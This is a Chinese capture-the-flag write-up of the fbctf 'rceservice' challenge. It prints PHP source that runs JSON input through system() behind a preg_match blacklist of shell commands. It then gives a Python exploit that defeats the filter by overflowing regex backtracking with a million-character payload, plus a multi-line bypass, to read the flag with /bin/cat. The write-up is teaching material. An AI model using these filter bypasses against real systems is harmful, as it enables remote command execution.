参考链接
https://blog.csdn.net/qq_38783875/article/details/85288671
https://www.xd10086.com/posts/8714273075404737949/
考查 : preg_match() 回溯溢出绕过
题目描述:
We created this web interface to run commands on our servers, but since we haven‘t figured out how to secure it yet we only let you run ‘ls‘
http://challenges.fbctf.com:8085
(This problem does not require any brute force or scanning.
We will ban your team if we detect brute force or scanning).
要求用json
格式传送payload
我们尝试ls
:{"cmd":"ls"}
题目源码:
<?php
putenv(‘PATH=/home/rceservice/jail‘);
if (isset($_REQUEST[‘cmd‘])) {
$json = $_REQUEST[‘cmd‘];
if (!is_string($json)) {
echo ‘Hacking attempt detected<br/><br/>‘;
} elseif (preg_match(‘/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/‘, $json)) {
echo ‘Hacking attempt detected<br/><br/>‘;
} else {
echo ‘Attempting to run command:<br/>‘;
$cmd = json_decode($json, true)[‘cmd‘];
if ($cmd !== NULL) {
system($cmd);
} else {
echo ‘Invalid input‘;
}
echo ‘<br/><br/>‘;
}
}
?>
暴躁过滤,在线砍人
但是我们看到了preg_match
,就会想到p神曾经提到的PRCE,利用如下的exp:
import requests
payload = ‘{"cmd":"/bin/cat /home/rceservice/flag","zz":"‘ + "a"*(1000000) + ‘"}‘
res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)
另一种方法,同样是preg_match
的问题,由于它会努力去匹配第一行,所以我们可以利用多行的方法
尝试直接cat
,但是返回了空白
我们返回去查看源代码:putenv(‘PATH=/home/rceservice/jail‘);
,jail应用于当前环境,又根据题目描述的提示--“只允许执行ls命令”,即jail包含了执行ls
的二进制文件,所以我们可以直接拉出cat
的路径:"cmd": "/bin/cat /home/rceservice/flag"
注:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
原文:https://www.cnblogs.com/nwzw-blog/p/12304792.html